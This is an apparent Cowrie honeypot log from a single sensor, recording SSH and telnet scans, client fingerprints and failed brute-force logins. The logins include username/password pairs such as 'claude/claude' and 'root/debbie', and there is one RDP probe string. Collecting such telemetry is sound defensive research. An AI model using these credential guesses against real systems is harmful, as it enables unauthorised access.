{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":51750,"dst_ip":"159.203.135.109","dst_port":22,"session":"86d07edbe8b2","protocol":"ssh","message":"New connection: 43.135.182.46:51750 (159.203.135.109:22) [session: 86d07edbe8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:59.823183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:59.828002Z","src_ip":"43.135.182.46","session":"86d07edbe8b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:21:59.897402Z","src_ip":"43.135.182.46","session":"86d07edbe8b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:00.220226Z","src_ip":"43.135.182.46","session":"86d07edbe8b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:01.294207Z","src_ip":"43.135.182.46","session":"86d07edbe8b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":36042,"dst_ip":"159.203.135.109","dst_port":23,"session":"42b3e1d76af9","protocol":"telnet","message":"New connection: 186.195.16.41:36042 (159.203.135.109:23) [session: 42b3e1d76af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:02.078909Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":38110,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ff385d8b22b","protocol":"ssh","message":"New connection: 89.108.118.91:38110 (10.17.0.5:22) [session: 6ff385d8b22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:03.056188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:03.061066Z","src_ip":"89.108.118.91","session":"6ff385d8b22b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:03.212016Z","src_ip":"89.108.118.91","session":"6ff385d8b22b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"322223","message":"login attempt [root/322223] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:03.661172Z","src_ip":"89.108.118.91","session":"6ff385d8b22b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.65739345550537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:04.506768Z","src_ip":"192.119.13.58","session":"a0ec7b6cd514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:04.812003Z","src_ip":"89.108.118.91","session":"6ff385d8b22b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.85013771057129,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:07.780242Z","src_ip":"192.119.13.58","session":"b668a3e35a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7c3638b8234","protocol":"telnet","message":"New connection: 192.119.13.58:40580 (10.17.0.5:23) [session: e7c3638b8234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:09.123859Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51014,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dfec9062231","protocol":"telnet","message":"New connection: 192.119.13.58:51014 (10.17.0.5:23) [session: 8dfec9062231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:11.820675Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56924,"dst_ip":"10.17.0.5","dst_port":23,"session":"df5355d405dc","protocol":"telnet","message":"New connection: 192.119.13.58:56924 (10.17.0.5:23) [session: df5355d405dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:13.441307Z"}
{"eventid":"cowrie.session.closed","duration":54.66321587562561,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:14.199435Z","src_ip":"192.119.13.58","session":"7d185a4d712f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34618,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3320e9d7591","protocol":"telnet","message":"New connection: 192.119.13.58:34618 (10.17.0.5:23) [session: d3320e9d7591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:14.953413Z"}
{"eventid":"cowrie.session.closed","duration":37.70225811004639,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:16.479973Z","src_ip":"192.119.13.58","session":"2bb269df8c75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40006,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f11e9490901","protocol":"telnet","message":"New connection: 192.119.13.58:40006 (10.17.0.5:23) [session: 4f11e9490901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:16.623830Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40674,"dst_ip":"10.17.0.5","dst_port":23,"session":"6613e6339ad4","protocol":"telnet","message":"New connection: 192.119.13.58:40674 (10.17.0.5:23) [session: 6613e6339ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:16.787428Z"}
{"eventid":"cowrie.session.closed","duration":3.887805938720703,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:17.329020Z","src_ip":"192.119.13.58","session":"df5355d405dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.86616587638855,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:17.637906Z","src_ip":"192.119.13.58","session":"5adce23f0990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.99808716773987,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:17.716084Z","src_ip":"192.119.13.58","session":"6f3d5afb7298","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35186,"dst_ip":"10.17.0.5","dst_port":23,"session":"4987e45df15e","protocol":"telnet","message":"New connection: 192.119.13.58:35186 (10.17.0.5:23) [session: 4987e45df15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:22.777546Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42300,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a3130d81edb","protocol":"ssh","message":"New connection: 194.59.206.2:42300 (159.203.135.109:22) [session: 0a3130d81edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:23.150542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:23.154868Z","src_ip":"194.59.206.2","session":"0a3130d81edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:23.270548Z","src_ip":"194.59.206.2","session":"0a3130d81edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:23.366119Z","src_ip":"194.59.206.2","session":"0a3130d81edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":46518,"dst_ip":"159.203.135.109","dst_port":22,"session":"f703a4a25977","protocol":"ssh","message":"New connection: 103.210.22.17:46518 (159.203.135.109:22) [session: f703a4a25977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:23.945297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:23.951021Z","src_ip":"103.210.22.17","session":"f703a4a25977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39600,"dst_ip":"10.17.0.5","dst_port":23,"session":"57125f042dd0","protocol":"telnet","message":"New connection: 192.119.13.58:39600 (10.17.0.5:23) [session: 57125f042dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:23.970680Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43910,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4264cafc215","protocol":"telnet","message":"New connection: 192.119.13.58:43910 (10.17.0.5:23) [session: f4264cafc215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:25.003319Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:25.565479Z","src_ip":"103.210.22.17","session":"f703a4a25977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debbie","message":"login attempt [root/debbie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:26.223348Z","src_ip":"103.210.22.17","session":"f703a4a25977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:27.446548Z","src_ip":"103.210.22.17","session":"f703a4a25977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.63853907585144,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:28.671933Z","src_ip":"192.119.13.58","session":"403c9e7a1c4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.01352834701538,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:30.511222Z","src_ip":"192.119.13.58","session":"0d9c4bf22e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.392123699188232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:30.970616Z","src_ip":"192.119.13.58","session":"1bc471d299c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34142,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b1b7bfdc2e9","protocol":"telnet","message":"New connection: 192.119.13.58:34142 (10.17.0.5:23) [session: 0b1b7bfdc2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:36.327003Z"}
{"eventid":"cowrie.session.closed","duration":44.92823910713196,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:40.742840Z","src_ip":"192.119.13.58","session":"bd39cb12c21b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17237591743469,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:41.296122Z","src_ip":"192.119.13.58","session":"e7c3638b8234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.925457239151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:42.746008Z","src_ip":"192.119.13.58","session":"8dfec9062231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65050,"dst_ip":"10.17.0.5","dst_port":22,"session":"271d1c2b7ba1","protocol":"ssh","message":"New connection: 152.42.212.128:65050 (10.17.0.5:22) [session: 271d1c2b7ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:42.925197Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:42.929830Z","src_ip":"152.42.212.128","session":"271d1c2b7ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:42.933428Z","src_ip":"152.42.212.128","session":"271d1c2b7ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57690,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b8121f57744","protocol":"telnet","message":"New connection: 192.119.13.58:57690 (10.17.0.5:23) [session: 9b8121f57744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:47.614482Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":42236,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f92a67b6441","protocol":"ssh","message":"New connection: 104.194.10.248:42236 (10.17.0.5:22) [session: 2f92a67b6441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.601699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.606956Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.614097Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:96:0a:92:7d:e7:74:1f:70:fd:df:1b:fb:b5:88:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC38uM54fGJuKGKLIJ1ae/QNlzXDvaAk+RmscugpadHBzpB5lOfNsEMM0she/aNUBFAYGVBM3HCeQboU4NYp0KbUUeBtcIerVm4ZLH/M8/IIoCaB7DN/gkDZMQqIjiDwi3pfGPpz4YYTUhi2tJ1Cr19//WP1gc6X5bJU/fYJUCgzkupfR9cXxp5jLehl1ZV/5Jk40FN/ENFgW5TBF5HuRo/jkw89o45/+7m1LSQep2S6eg2b/AxhxFB3yh29JhEBChAiDvQUwGgivCeAp6ZHxbatQN5A+ikaQfZ+WfuW3Rqgi0RkWQdypIQmOt8IJ6h01MfpFbGkpkhbdmT9OEFyg4d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:96:0a:92:7d:e7:74:1f:70:fd:df:1b:fb:b5:88:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.631793Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:96:0a:92:7d:e7:74:1f:70:fd:df:1b:fb:b5:88:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC38uM54fGJuKGKLIJ1ae/QNlzXDvaAk+RmscugpadHBzpB5lOfNsEMM0she/aNUBFAYGVBM3HCeQboU4NYp0KbUUeBtcIerVm4ZLH/M8/IIoCaB7DN/gkDZMQqIjiDwi3pfGPpz4YYTUhi2tJ1Cr19//WP1gc6X5bJU/fYJUCgzkupfR9cXxp5jLehl1ZV/5Jk40FN/ENFgW5TBF5HuRo/jkw89o45/+7m1LSQep2S6eg2b/AxhxFB3yh29JhEBChAiDvQUwGgivCeAp6ZHxbatQN5A+ikaQfZ+WfuW3Rqgi0RkWQdypIQmOt8IJ6h01MfpFbGkpkhbdmT9OEFyg4d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.770977Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
